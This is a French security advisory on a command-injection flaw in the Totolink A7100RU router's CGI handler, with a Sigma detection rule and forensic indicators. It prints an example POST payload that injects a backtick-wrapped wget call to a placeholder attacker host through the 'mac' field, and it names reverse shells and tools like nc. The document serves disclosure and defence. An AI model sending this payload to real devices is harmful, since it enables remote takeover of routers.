CVE-2026-6138: injection critique de commandes OS à distance dans le Totolink A7100RU
Résumé exécutif
Section intitulée « Résumé exécutif »la sécurité du matériel réseau embarqué demeure un vecteur primaire pour les acteurs malveillants. la CVE-2026-6138 met en évidence un défaut critique de sanitisation des entrées dans le composant de gestion CGI du Totolink A7100RU. compte tenu du rôle de l’appareil dans l’infrastructure de bordure de réseau, cette vulnérabilité représente un risque significatif de mouvement latéral vers les segments internes.
Analyse technique de la vulnérabilité
Section intitulée « Analyse technique de la vulnérabilité »la vulnérabilité réside dans le binaire /cgi-bin/cstecgi.cgi, spécifiquement dans la fonction setAccessDeviceCfg. lors du traitement de l’argument mac, l’application ne valide ni ne sanitise correctement les données fournies par l’utilisateur avant de les transmettre aux utilitaires système internes.
plus précisément, le paramètre mac contrôlé par l’utilisateur est transmis à la fonction Uci_Add_List (issue de libcscommon.so). via une manipulation supplémentaire, cette entrée est intégrée dans une chaîne de commande système gérée par la fonction CsteSystem, laquelle invoque ensuite execv(). comme la construction de la commande est effectuée sans échappement adéquat, un attaquant peut s’extraire du contexte de l’argument prévu et ajouter des commandes shell arbitraires.
Flux d’exploitation
Section intitulée « Flux d’exploitation »- identification de la cible : identifier une instance accessible de Totolink A7100RU exécutant la version de firmware
7.4cu.2313_b20191024. - préparation de la payload : préparer une chaîne malveillante, telle qu’une commande shell (ex:
wget,curl, ou un reverse shell), encapsulée dans des backticks ou des séparateurs de commande au sein du champmac. - exploitation : soumettre la requête
POSTformatée vers le point de terminaison vulnérable. - exécution : le gestionnaire CGI de l’appareil interprète la commande injectée et l’exécute avec les privilèges système.
Exemple de payload d’exploit
Section intitulée « Exemple de payload d’exploit »la requête HTTP suivante démontre comment un attaquant pourrait exploiter cette faille :
POST /cgi-bin/cstecgi.cgi HTTP/1.1Host: <TARGET_IP>Content-Type: application/x-www-form-urlencoded; charset=UTF-8
{"topicurl":"setAccessDeviceCfg","mac":"`wget <ATTACKER_IP>:<PORT>/testpoc`"}Analyse forensic et détection
Section intitulée « Analyse forensic et détection »les équipes d’analyse doivent prioriser la visibilité sur le trafic HTTP ciblant le répertoire /cgi-bin/ des routeurs de bordure.
Règle de détection (Sigma)
Section intitulée « Règle de détection (Sigma) »title: Totolink A7100RU Command Injection Attemptlogsource: category: web_serverdetection: selection: url|contains: "/cgi-bin/cstecgi.cgi" http_method: "POST" body|contains: ["setAccessDeviceCfg", "mac"] condition: selectionValeur forensic
Section intitulée « Valeur forensic »lors de l’investigation d’un compromis potentiel, focalisez-vous sur les indicateurs suivants :
- requêtes HTTP POST inhabituelles : surveiller les logs pour des requêtes correspondant aux motifs identifiés ci-dessus.
- apparition de processus inattendus : rechercher des preuves d’exécution de
wget,curl,sh,nc, ou d’autres utilitaires réseau spawned par le processuscstecgi.cgi. - persistance : analyser les images forensic de l’appareil pour détecter des ajouts non autorisés dans les scripts de démarrage ou les fichiers de configuration, permettant la persistance après redémarrage.